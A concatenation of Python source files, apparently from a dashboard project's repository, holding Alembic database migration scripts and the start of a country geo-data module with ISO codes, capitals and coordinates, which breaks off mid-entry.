    ### end Alembic commands ###






"""TZ offsets in data sources

Revision ID: 2929af7925ed
Revises: 1e2841a4128
Create Date: 2015-10-19 20:54:00.565633

"""

# revision identifiers, used by Alembic.
revision = '2929af7925ed'
down_revision = '1e2841a4128'

from alembic import op
import sqlalchemy as sa

def upgrade():
    op.add_column('datasources', sa.Column('offset', sa.Integer(), nullable=True))
    op.add_column('tables', sa.Column('offset', sa.Integer(), nullable=True))


def downgrade():
    op.drop_column('tables', 'offset')
    op.drop_column('datasources', 'offset')






"""Adding verbose_name to tablecolumn

Revision ID: f0fbf6129e13
Revises: c3a8f8611885
Create Date: 2016-05-01 12:21:18.331191

"""

# revision identifiers, used by Alembic.
revision = 'f0fbf6129e13'
down_revision = 'c3a8f8611885'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column(
        'table_columns',
        sa.Column('verbose_name', sa.String(length=1024),
        nullable=True))


def downgrade():
    op.drop_column('table_columns', 'verbose_name')






"""change_table_unique_constraint

Revision ID: b4456560d4f3
Revises: bb51420eaf83
Create Date: 2016-04-15 08:31:26.249591

"""

# revision identifiers, used by Alembic.
revision = 'b4456560d4f3'
down_revision = 'bb51420eaf83'

from alembic import op


def upgrade():
    try:
        # Trying since sqlite doesn't like constraints
        op.drop_constraint(
            u'tables_table_name_key', 'tables', type_='unique')
        op.create_unique_constraint(
            u'_customer_location_uc', 'tables',
            ['database_id', 'schema', 'table_name'])
    except Exception:
        pass


def downgrade():
    try:
        # Trying since sqlite doesn't like constraints
        op.drop_constraint(u'_customer_location_uc', 'tables', type_='unique')
    except Exception:
        pass






"""log dt

Revision ID: 1d2ddd543133
Revises: d2424a248d63
Create Date: 2016-03-25 14:35:44.642576

"""

# revision identifiers, used by Alembic.
revision = '1d2ddd543133'
down_revision = 'd2424a248d63'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('logs', sa.Column('dt', sa.Date(), nullable=True))


def downgrade():
    op.drop_column('logs', 'dt')






"""fixing audit fk

Revision ID: 763d4b211ec9
Revises: d2424a248d63
Create Date: 2016-03-24 14:13:44.817723

"""

# revision identifiers, used by Alembic.
revision = '763d4b211ec9'
down_revision = 'd2424a248d63'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('metrics', sa.Column('changed_by_fk', sa.Integer(), nullable=True))
    op.add_column('metrics', sa.Column('changed_on', sa.DateTime(), nullable=True))
    op.add_column('metrics', sa.Column('created_by_fk', sa.Integer(), nullable=True))
    op.add_column('metrics', sa.Column('created_on', sa.DateTime(), nullable=True))
    try:
        op.alter_column('columns', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('columns', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('css_templates', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('css_templates', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dashboards', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dashboards', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('datasources', 'changed_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=True)
        op.alter_column('datasources', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('datasources', 'created_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=True)
        op.alter_column('datasources', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dbs', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dbs', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('slices', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('slices', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('sql_metrics', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('sql_metrics', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('table_columns', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('table_columns', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('tables', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('tables', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('url', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('url', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.create_foreign_key(None, 'metrics', 'ab_user', ['changed_by_fk'], ['id'])
        op.create_foreign_key(None, 'metrics', 'ab_user', ['created_by_fk'], ['id'])
    except:
        pass


def downgrade():
    op.drop_column('metrics', 'created_on')
    op.drop_column('metrics', 'created_by_fk')
    op.drop_column('metrics', 'changed_on')
    op.drop_column('metrics', 'changed_by_fk')
    try:
        op.alter_column('url', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('url', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('tables', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('tables', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('table_columns', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('table_columns', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('sql_metrics', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('sql_metrics', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('slices', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('slices', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.drop_constraint(None, 'metrics', type_='foreignkey')
        op.drop_constraint(None, 'metrics', type_='foreignkey')
        op.alter_column('dbs', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('dbs', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('datasources', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('datasources', 'created_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=False)
        op.alter_column('datasources', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('datasources', 'changed_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=False)
        op.alter_column('dashboards', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('dashboards', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('css_templates', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('css_templates', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('columns', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
        op.alter_column('columns', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=False)
    except:
        pass






"""empty message

Revision ID: 5a7bad26f2a7
Revises: 4e6a06bad7a8
Create Date: 2015-10-05 10:32:15.850753

"""

# revision identifiers, used by Alembic.
revision = '5a7bad26f2a7'
down_revision = '4e6a06bad7a8'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('dashboards', sa.Column('css', sa.Text(), nullable=True))
    op.add_column('dashboards', sa.Column('description', sa.Text(), nullable=True))


def downgrade():
    op.drop_column('dashboards', 'description')
    op.drop_column('dashboards', 'css')






"""Add encrypted password field

Revision ID: 289ce07647b
Revises: 2929af7925ed
Create Date: 2015-11-21 11:18:00.650587

"""

# revision identifiers, used by Alembic.
revision = '289ce07647b'
down_revision = '2929af7925ed'

from alembic import op
import sqlalchemy as sa
from sqlalchemy_utils.types.encrypted import EncryptedType


def upgrade():
    op.add_column(
        'dbs',
        sa.Column(
            'password',
            EncryptedType(sa.String(1024)),
        nullable=True))


def downgrade():
    op.drop_column('dbs', 'password')






"""empty message

Revision ID: d2424a248d63
Revises: ('a2d606a761d9', '836c0bf75904')
Create Date: 2016-03-22 23:25:02.903273

"""

# revision identifiers, used by Alembic.
revision = 'd2424a248d63'
down_revision = ('a2d606a761d9', '836c0bf75904')


def upgrade():
    pass


def downgrade():
    pass






"""owners_many_to_many

Revision ID: 4fa88fe24e94
Revises: b4456560d4f3
Create Date: 2016-04-15 17:58:33.842012

"""

# revision identifiers, used by Alembic.
revision = '4fa88fe24e94'
down_revision = 'b4456560d4f3'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.create_table('dashboard_user',
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('user_id', sa.Integer(), nullable=True),
        sa.Column('dashboard_id', sa.Integer(), nullable=True),
        sa.ForeignKeyConstraint(['dashboard_id'], [u'dashboards.id'], ),
        sa.ForeignKeyConstraint(['user_id'], [u'ab_user.id'], ),
        sa.PrimaryKeyConstraint('id'),
    )
    op.create_table('slice_user',
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('user_id', sa.Integer(), nullable=True),
        sa.Column('slice_id', sa.Integer(), nullable=True),
        sa.ForeignKeyConstraint(['slice_id'], [u'slices.id'], ),
        sa.ForeignKeyConstraint(['user_id'], [u'ab_user.id'], ),
        sa.PrimaryKeyConstraint('id'),
    )


def downgrade():
    op.drop_table('slice_user')
    op.drop_table('dashboard_user')






"""adding log model

Revision ID: 315b3f4da9b0
Revises: 1a48a5411020
Create Date: 2015-12-04 11:16:58.226984

"""

# revision identifiers, used by Alembic.
revision = '315b3f4da9b0'
down_revision = '1a48a5411020'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.create_table('logs',
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('action', sa.String(length=512), nullable=True),
        sa.Column('user_id', sa.Integer(), nullable=True),
        sa.Column('json', sa.Text(), nullable=True),
        sa.Column('dttm', sa.DateTime(), nullable=True),
        sa.ForeignKeyConstraint(['user_id'], ['ab_user.id'], ),
        sa.PrimaryKeyConstraint('id')
    )


def downgrade():
    op.drop_table('logs')






"""empty message

Revision ID: 1e2841a4128
Revises: 5a7bad26f2a7
Create Date: 2015-10-05 22:11:00.537054

"""

# revision identifiers, used by Alembic.
revision = '1e2841a4128'
down_revision = '5a7bad26f2a7'

from alembic import op
import sqlalchemy as sa

def upgrade():
    op.add_column('table_columns', sa.Column('expression', sa.Text(), nullable=True))


def downgrade():
    op.drop_column('table_columns', 'expression')






"""This module contains data related to countries and is used for geo mapping"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

countries = [
    {
        "name": "Angola",
        "area": 1246700,
        "cioc": "ANG",
        "cca2": "AO",
        "capital": "Luanda",
        "lat": -12.5,
        "lng": 18.5,
        "cca3": "AGO"
    },
    {
        "name": "Algeria",
        "area": 2381741,
        "cioc": "ALG",
        "cca2": "DZ",
        "capital": "Algiers",
        "lat": 28,
        "lng": 3,
        "cca3": "DZA"
    },
    {
        "name": "Egypt",
        "area": 1002450,
        "cioc": "EGY",
        "cca2": "EG",
        "capital": "Cairo",
        "lat": 27,
        "lng": 30,
        "cca3": "EGY"
    },
    {
        "name": "Bangladesh",
        "area": 147570,
        "cioc": "BAN",
        "cca2": "BD",
        "capital": "Dhaka",
        "lat": 24,
        "lng": 90,
        "cca3": "BGD"
    },
    {
        "name": "Niger",
        "area": 1267000,
        "cioc": "NIG",
        "cca2": "NE",
        "capital": "Niamey",
        "lat": 16,
        "lng": 8,
        "cca3": "NER"
    },
    {
        "name": "Liechtenstein",
        "area": 160,
        "cioc": "LIE",
        "cca2": "LI",
        "capital": "Vaduz",
        "lat": 47.26666666,
        "lng": 9.53333333,
        "cca3": "LIE"
    },
    {
        "name": "Namibia",
        "area": 825615,
        "cioc": "NAM",
        "cca2": "NA",
        "capital": "Windhoek",
        "lat": -22,
        "lng": 17,
        "cca3": "NAM"
    },
    {
        "name": "Bulgaria",
        "area": 110879,
        "cioc": "BUL",
        "cca2": "BG",
        "capital": "Sofia",
        "lat": 43,
        "lng": 25,
        "cca3": "BGR"
    },
    {
        "name": "Bolivia",
        "area": 1098581,
        "cioc": "BOL",
        "cca2": "BO",
        "capital": "Sucre",
        "lat": -17,
        "lng": -65,
        "cca3": "BOL"
    },
    {
        "name": "Ghana",
        "area": 238533,
        "cioc": "GHA",
        "cca2": "GH",
        "capital": "Accra",
        "lat": 8,
        "lng": -2,
        "cca3": "GHA"
    },
    {
        "name": "Cocos (Keeling) Islands",
        "area": 14,
        "cioc": "",
        "cca2": "CC",
        "capital": "West Island",
        "lat": -12.5,
        "lng": 96.83333333,
        "cca3": "CCK"
    },
    {
        "name": "Pakistan",
        "area": 881912,
        "cioc": "PAK",
        "cca2": "PK",
        "capital": "Islamabad",
        "lat": 30,
        "lng": 70,
        "cca3": "PAK"
    },
    {
        "name": "Cape Verde",
        "area": 4033,
        "cioc": "CPV",
        "cca2": "CV",
        "capital": "Praia",
        "lat": 16,
        "lng": -24,
        "cca3": "CPV"
    },
    {
        "name": "Jordan",
        "area": 89342,
        "cioc": "JOR",
        "cca2": "JO",
        "capital": "Amman",
        "lat": 31,
        "lng": 36,
        "cca3": "JOR"
    },
    {
        "name": "Liberia",
        "area": 111369,
        "cioc": "LBR",
        "cca2": "LR",
        "capital": "Monrovia",
        "lat": 6.5,
        "lng": -9.5,
        "cca3": "LBR"
    },
    {
        "name": "Libya",
        "area": 1759540,
        "cioc": "LBA",
        "cca2": "LY",
        "capital": "Tripoli",
        "lat": 25,
        "lng": 17,
        "cca3": "LBY"
    },
    {
        "name": "Malaysia",
        "area": 330803,
        "cioc": "MAS",
        "cca2": "MY",
        "capital": "Kuala Lumpur",
        "lat": 2.5,
        "lng": 112.5,
        "cca3": "MYS"
    },
    {
        "name": "Dominican Republic",
        "area": 48671,
        "cioc": "DOM",
        "cca2": "DO",
        "capital": "Santo Domingo",
        "lat": 19,
        "lng": -70.66666666,
        "cca3": "DOM"
    },
    {
        "name": "Puerto Rico",
        "area": 8870,
        "cioc": "PUR",
        "cca2": "PR",
        "capital": "San Juan",
        "lat": 18.25,
        "lng": -66.5,
        "cca3": "PRI"
    },
    {
        "name": "Mayotte",
        "area": 374,
        "cioc": "",
        "cca2": "YT",
        "capital": "Mamoudzou",
        "lat": -12.83333333,
        "lng": 45.16666666,
        "cca3": "MYT"
    },
    {
        "name": "North Korea",
        "area": 120538,
        "cioc": "PRK",
        "cca2": "KP",
        "capital": "Pyongyang",
        "lat": 40,
        "lng": 127,
        "cca3": "PRK"
    },
    {
        "name": "Palestine",
        "area": 6220,
        "cioc": "PLE",
        "cca2": "PS",
        "capital": "Ramallah",
        "lat": 31.9,
        "lng": 35.2,
        "cca3": "PSE"
    },
    {
        "name": "Tanzania",
        "area": 945087,
        "cioc": "TAN",
        "cca2": "TZ",
        "capital": "Dodoma",
        "lat": -6,
        "lng": 35,
        "cca3": "TZA"
    },
    {
        "name": "Botswana",
        "area": 582000,
        "cioc": "BOT",
        "cca2": "BW",
        "capital": "Gaborone",
        "lat": -22,
        "lng": 24,
        "cca3": "BWA"
    },
    {
        "name": "Cambodia",
        "area": 181035,
        "cioc": "CAM",
        "cca2": "KH",
        "capital": "Phnom Penh",
        "lat": 13,
        "lng": 105,
        "cca3": "KHM"
    },
    {
        "name": "Nicaragua",
        "area": 130373,
        "cioc": "NCA",
        "cca2": "NI",
        "capital": "Managua",
        "lat": 13,
        "lng": -85,
        "cca3": "NIC"
    },
    {
        "name": "Trinidad and Tobago",
        "area": 5130,
        "cioc": "TTO",
        "cca2": "TT",
        "capital": "Port of Spain",
        "lat": 11,
        "lng": -61,
        "cca3": "TTO"
    },
    {
        "name": "Ethiopia",
        "area": 1104300,
        "cioc": "ETH",
        "cca2": "ET",
        "capital": "Addis Ababa",
        "lat": 8,
        "lng": 38,
        "cca3": "ETH"
    },
    {
        "name": "Paraguay",
        "area": 406752,
        "cioc": "PAR",
        "cca2": "PY",
        "capital": "Asuncion",
        "lat": -23,
        "lng": -58,
        "cca3": "PRY"
    },
    {
        "name": "Hong Kong",
        "area": 1104,
        "cioc": "HKG",
        "cca2": "HK",
        "capital": "City of Victoria",
        "lat": 22.267,
        "lng": 114.188,
        "cca3": "HKG"
    },
    {
        "name": "Saudi Arabia",
        "area": 2149690,
        "cioc": "KSA",
        "cca2": "SA",
        "capital": "Riyadh",
        "lat": 25,
        "lng": 45,
        "cca3": "SAU"
    },
    {
        "name": "Lebanon",
        "area": 10452,
        "cioc": "LIB",
        "cca2": "LB",
        "capital": "Beirut",
        "lat": 33.83333333,
        "lng": 35.83333333,
        "cca3": "LBN"
    },
    {
        "name": "Slovenia",
        "area": 20273,
        "cioc": "SLO",
        "cca2": "SI",
        "capital": "Ljubljana",
        "lat": 46.11666666,
        "lng": 14.81666666,
        "cca3": "SVN"
    },
    {
        "name": "Burkina Faso",
        "area": 272967,
        "cioc": "BUR",
        "cca2": "BF",
        "capital": "Ouagadougou",
        "lat": 13,
        "lng": -2,
        "cca3": "BFA"
    },
    {
        "name": "Switzerland",
        "area": 41284,
        "cioc": "SUI",
        "cca2": "CH",
        "capital": "Bern",
        "lat": 47,
        "lng": 8,
        "cca3": "CHE"
    },
    {
        "name": "Mauritania",
        "area": 1030700,
        "cioc": "MTN",
        "cca2": "MR",
        "capital": "Nouakchott",
        "lat": 20,
        "lng": -12,
        "cca3": "MRT"
    },
    {
        "name": "Croatia",
        "area": 56594,
        "cioc": "CRO",
        "cca2": "HR",
        "capital": "Zagreb",
        "lat": 45.16666666,
        "lng": 15.5,
        "cca3": "HRV"
    },
    {
        "name": "Chile",
        "area": 756102,
        "cioc": "CHI",
        "cca2": "CL",
        "capital": "Santiago",
        "lat": -30,
        "lng": -71,
        "cca3": "CHL"
    },
    {
        "name": "China",
        "area": 9706961,
        "cioc": "CHN",
        "cca2": "CN",
        "capital": "Beijing",
        "lat": 35,
        "lng": 105,
        "cca3": "CHN"
    },
    {
        "name": "Saint Kitts and Nevis",
        "area": 261,
        "cioc": "SKN",
        "cca2": "KN",
        "capital": "Basseterre",
        "lat": 17.33333333,
        "lng": -62.75,
        "cca3": "KNA"
    },
    {
        "name": "Sierra Leone",
        "area": 71740,
        "cioc": "SLE",
        "cca2": "SL",
        "capital": "Freetown",
        "lat": 8.5,
        "lng": -11.5,
        "cca3": "SLE"
    },
    {
        "name": "Jamaica",
        "area": 10991,
        "cioc": "JAM",
        "cca2": "JM",
        "capital": "Kingston",
        "lat": 18.25,
        "lng": -77.5,
        "cca3": "JAM"
    },
    {
        "name": "San Marino",
        "area": 61,
        "cioc": "SMR",
        "cca2": "SM",
        "capital": "City of San Marino",
        "lat": 43.76666666,
        "lng": 12.41666666,
        "cca3": "SMR"
    },
    {
        "name": "Gibraltar",
        "area": 6,
        "cioc": "",
        "cca2": "GI",
        "capital": "Gibraltar",
        "lat": 36.13333333,
        "lng": -5.35,
        "cca3": "GIB"
    },
    {
        "name": "Djibouti",
        "area": 23200,
        "cioc": "DJI",
        "cca2": "DJ",
        "capital": "Djibouti",
        "lat": 11.5,
        "lng": 43,
        "cca3": "DJI"
    },
    {
        "name": "Guinea",
        "area": 245857,
        "cioc": "GUI",
        "cca2": "GN",
        "capital": "Conakry",
        "lat": 11,
        "lng": -10,
        "cca3": "GIN"
    },
    {
        "name": "Finland",
        "area": 338424,
        "cioc": "FIN",
        "cca2": "FI",
        "capital": "Helsinki",
        "lat": 64,
        "lng": 26,
        "cca3": "FIN"
    },
    {
        "name": "Uruguay",
        "area": 181034,
        "cioc": "URU",
        "cca2": "UY",
        "capital": "Montevideo",
        "lat": -33,
        "lng": -56,
        "cca3": "URY"
    },
    {
        "name": "Thailand",
        "area": 513120,
        "cioc": "THA",
        "cca2": "TH",
        "capital": "Bangkok",
        "lat": 15,
        "lng": 100,
        "cca3": "THA"
    },
    {
        "name": "Sao Tome and Principe",
        "area": 964,
        "cioc": "STP",
        "cca2": "ST",
        "capital": "Sao Tome",
        "lat": 1,
        "lng": 7,
        "cca3": "STP"
    },
    {
        "name": "Seychelles",
        "area": 452,
        "cioc": "SEY",
        "cca2": "SC",
        "capital": "Victoria",
        "lat": -4.58333333,
        "lng": 55.66666666,
        "cca3": "SYC"
    },
    {
        "name": "Nepal",
        "area": 147181,
        "cioc": "NEP",
        "cca2": "NP",
        "capital": "Kathmandu",
        "lat": 28,
        "lng": 84,
        "cca3": "NPL"
    },
    {
        "name": "Christmas Island",
        "area": 135,
        "cioc": "",
        "cca2": "CX",
        "capital": "Flying Fish Cove",
        "lat": -10.5,
        "lng": 105.66666666,
        "cca3": "CXR"
    },
    {
        "name": "Laos",
        "area": 236800,
        "cioc": "LAO",
        "cca2": "LA",
        "capital": "Vientiane",
        "lat": 18,
        "lng": 105,
        "cca3": "LAO"
    },
    {
        "name": "Yemen",
        "area": 527968,
        "cioc": "YEM",
        "cca2": "YE",
        "capital": "Sana'a",
        "lat": 15,
        "lng": 48,
        "cca3": "YEM"
    },
    {
        "name": "Bouvet Island",
        "area": 49,
        "cioc": "",
        "cca2": "BV",
        "capital": "",
        "lat": -54.43333333,
        "lng": 3.4,
        "cca3": "BVT"
    },
    {
        "name": "South Africa",
        "area": 1221037,
        "cioc": "RSA",
        "cca2": "ZA",
        "capital": "Pretoria",
        "lat": -29,
        "lng": 24,
        "cca3": "ZAF"
    },
    {
        "name": "Kiribati",
        "area": 811,
        "cioc": "KIR",
        "cca2": "KI",
        "capital": "South Tarawa",
        "lat": 1.41666666,
        "lng": 173,
        "cca3": "KIR"
    },
    {
        "name": "Philippines",
        "area": 342353,
        "cioc": "PHI",
        "cca2": "PH",
        "capital": "Manila",
        "lat": 13,
        "lng": 122,
        "cca3": "PHL"
    },
    {
        "name": "Sint Maarten",
        "area": 34,
        "cioc": "",
        "cca2": "SX",
        "capital": "Philipsburg",
        "lat": 18.033333,
        "lng": -63.05,
        "cca3": "SXM"
    },
    {
        "name": "Romania",
        "area": 238391,
        "cioc": "ROU",
        "cca2": "RO",
        "capital": "Bucharest",
        "lat": 46,
        "lng": 25,
        "cca3": "ROU"
    },
    {
        "name": "United States Virgin Islands",
        "area": 347,
        "cioc": "ISV",
        "cca2": "VI",
        "capital": "Charlotte Amalie",
        "lat": 18.35,
        "lng": -64.933333,
        "cca3": "VIR"
    },
    {
        "name": "Syria",
        "area": 185180,
        "cioc": "SYR",
        "cca2": "SY",
        "capital": "Damascus",
        "lat": 35,
        "lng": 38,
        "cca3": "SYR"
    },
    {
        "name": "Macau",
        "area": 30,
        "cioc": "",
        "cca2": "MO",
        "capital": "",
        "lat": 22.16666666,
        "lng": 113.55,
        "cca3": "MAC"
    },
    {
        "name": "Saint Martin",
        "area": 53,
        "cioc": "",
        "cca2": "MF",
        "capital": "Marigot",
        "lat": 18.08333333,
        "lng": -63.95,
        "cca3": "MAF"
    },
    {
        "name": "Malta",
        "area": 316,
        "cioc": "MLT",
        "cca2": "MT",
        "capital": "Valletta",
        "lat": 35.83333333,
        "lng": 14.58333333,
        "cca3": "MLT"
    },
    {
        "name": "Kazakhstan",
        "area": 2724900,
        "cioc": "KAZ",
        "cca2": "KZ",
        "capital": "Astana",
        "lat": 48,
        "lng": 68,
        "cca3": "KAZ"
    },
    {
        "name": "Turks and Caicos Islands",
        "area": 948,
        "cioc": "",
        "cca2": "TC",
        "capital": "Cockburn Town",
        "lat": 21.75,
        "lng": -71.58333333,
        "cca3": "TCA"
    },
    {
        "name": "French Polynesia",
        "area": 4167,
        "cioc": "",
        "cca2": "PF",
        "capital": "Papeete",
        "lat": -15,
        "lng": -140,
        "cca3": "PYF"
    },
    {
        "name": "Niue",
        "area": 260,
        "cioc": "",
        "cca2": "NU",
        "capital": "Alofi",
        "lat": -19.03333333,
        "lng": -169.86666666,
        "cca3": "NIU"
    },
    {
        "name": "Dominica",
        "area": 751,
        "cioc": "DMA",
        "cca2": "DM",
        "capital": "Roseau",
        "lat": 15.41666666,
        "lng": -61.33333333,
        "cca3": "DMA"
    },
    {
        "name": "Benin",
        "area": 112622,
        "cioc": "BEN",
        "cca2": "BJ",
        "capital": "Porto-Novo",
        "lat": 9.5,
        "lng": 2.25,
        "cca3": "BEN"
    },
    {
        "name": "French Guiana",
        "area": 83534,
        "cioc": "",
        "cca2": "GF",
        "capital": "Cayenne",
        "lat": 4,
        "lng": -53,
        "cca3": "GUF"
    },
    {
        "name": "Belgium",
        "area": 30528,
        "cioc": "BEL",
        "cca2": "BE",
        "capital": "Brussels",
        "lat": 50.83333333,
        "lng": 4,
        "cca3": "BEL"
    },
    {
        "name": "Montserrat",
        "area": 102,
        "cioc": "",
        "cca2": "MS",
        "capital": "Plymouth",
        "lat": 16.75,
        "lng": -62.2,
        "cca3": "MSR"
    },
    {
        "name": "Togo",
        "area": 56785,
        "cioc": "TOG",
        "cca2": "TG",
        "capital": "Lome",
        "lat": 8,
        "lng": 1.16666666,
        "cca3": "TGO"
    },
    {
        "name": "Germany",
        "area": 357114,
        "cioc": "GER",
        "cca2": "DE",
        "capital": "Berlin",
        "lat": 51,
        "lng": 9,
        "cca3": "DEU"
    },
    {
        "name": "Guam",
        "area": 549,
        "cioc": "GUM",
        "cca2": "GU",
        "capital": "Hagatna",
        "lat": 13.46666666,
        "lng": 144.78333333,
        "cca3": "GUM"
    },
    {
        "name": "Sri Lanka",
        "area": 65610,
        "cioc": "SRI",
        "cca2": "LK",
        "capital": "Colombo",
        "lat": 7,
        "lng": 81,
        "cca3": "LKA"
    },
    {
        "name": "South Sudan",
        "area": 619745,
        "cioc": "",
        "cca2": "SS",
        "capital": "Juba",
        "lat": 7,
        "lng": 30,
        "cca3": "SSD"
    },
    {
        "name": "Falkland Islands",
        "area": 12173,
        "cioc": "",
        "cca2": "FK",
        "capital": "Stanley",
        "lat": -51.75,
        "lng": -59,
        "cca3": "FLK"
    },
    {
        "name": "United Kingdom",
        "area": 242900,
        "cioc": "GBR",
        "cca2": "GB",
        "capital": "London",
        "lat": 54,
        "lng": -2,
        "cca3": "GBR"
    },
    {
        "name": "Guyana",
        "area": 214969,
        "cioc": "GUY",
        "cca2": "GY",
        "capital": "Georgetown",
        "lat": 5,
        "lng": -59,
        "cca3": "GUY"
    },
    {
        "name": "Costa Rica",
        "area": 51100,
        "cioc": "CRC",
        "cca2": "CR",
        "capital": "San Jose",
        "lat": 10,
        "lng": -84,
        "cca3": "CRI"
    },
    {
        "name": "Cameroon",
        "area": 475442,
        "cioc": "CMR",
        "cca2": "CM",
        "capital": "Yaounde",
        "lat": 6,
        "lng": 12,
        "cca3": "CMR"
    },
    {
        "name": "Morocco",
        "area": 446550,
        "cioc": "MAR",
        "cca2": "MA",
        "capital": "Rabat",
        "lat": 32,
        "lng": -5,
        "cca3": "MAR"
    },
    {
        "name": "Northern Mariana Islands",
        "area": 464,
        "cioc": "",
        "cca2": "MP",
        "capital": "Saipan",
        "lat": 15.2,
        "lng": 145.75,
        "cca3": "MNP"
    },
    {
        "name": "Lesotho",
        "area": 30355,
        "cioc": "LES",
        "cca2": "LS",
        "capital": "Maseru",
        "lat": -29.5,
        "lng": 28.5,
        "cca3": "LSO"
    },
    {
        "name": "Hungary",
        "area": 93028,
        "cioc": "HUN",
        "cca2": "HU",
        "capital": "Budapest",
        "lat": 47,
        "lng": 20,
        "cca3": "HUN"
    },
    {
        "name": "Turkmenistan",
        "area": 488100,
        "cioc": "TKM",
        "cca2": "TM",
        "capital": "Ashgabat",
        "lat": 40,
        "lng": 60,
        "cca3": "TKM"
    },
    {
        "name": "Suriname",
        "area": 163820,
        "cioc": "SUR",
        "cca2": "SR",
        "capital": "Paramaribo",
        "lat": 4,
        "lng": -56,
        "cca3": "SUR"
    },
    {
        "name": "Netherlands",
        "area": 41850,
        "cioc": "NED",
        "cca2": "NL",
        "capital": "Amsterdam",
        "lat": 52.5,
        "lng": 5.75,
        "cca3": "NLD"
    },
    {
        "name": "Bermuda",
        "area": 54,
        "cioc": "BER",
        "cca2": "BM",
        "capital": "Hamilton",
        "lat": 32.33333333,
        "lng": -64.75,
        "cca3": "BMU"
    },
    {
        "name": "Heard Island and McDonald Islands",
        "area": 412,
        "cioc": "",
        "cca2": "HM",
        "capital": "",
        "lat": -53.1,
        "lng": 72.51666666,
        "cca3": "HMD"
    },
    {
        "name": "Chad",
        "area": 1284000,
        "cioc": "CHA",
        "cca2": "TD",
        "capital": "N'Djamena",
        "lat": 15,
        "lng": 19,
        "cca3": "TCD"
    },
    {
        "name": "Georgia",
        "area": 69700,
        "cioc": "GEO",
        "cca2": "GE",
        "capital": "Tbilisi",
        "lat": 42,
        "lng": 43.5,
        "cca3": "GEO"
    },
    {
        "name": "Montenegro",
        "area": 13812,
        "cioc": "MNE",
        "cca2": "ME",
        "capital": "Podgorica",
        "lat": 42.5,
        "lng": 19.3,
        "cca3": "MNE"
    },
    {
        "name": "Mongolia",
        "area": 1564110,
        "cioc": "MGL",
        "cca2": "MN",
        "capital": "Ulan Bator",
        "lat": 46,
        "lng": 105,
        "cca3": "MNG"
    },
    {
        "name": "Marshall Islands",
        "area": 181,
        "cioc": "MHL",
        "cca2": "MH",
        "capital": "Majuro",
        "lat": 9,
        "lng": 168,
        "cca3": "MHL"
    },
    {
        "name": "Martinique",
        "area": 1128,
        "cioc": "",
        "cca2": "MQ",
        "capital": "Fort-de-France",
        "lat": 14.666667,
        "lng": -61,
        "cca3": "MTQ"
    },
    {
        "name": "Belize",
        "area": 22966,
        "cioc": "BIZ",
        "cca2": "BZ",
        "capital": "Belmopan",
        "lat": 17.25,
        "lng": -88.75,
        "cca3": "BLZ"
    },
    {
        "name": "Norfolk Island",
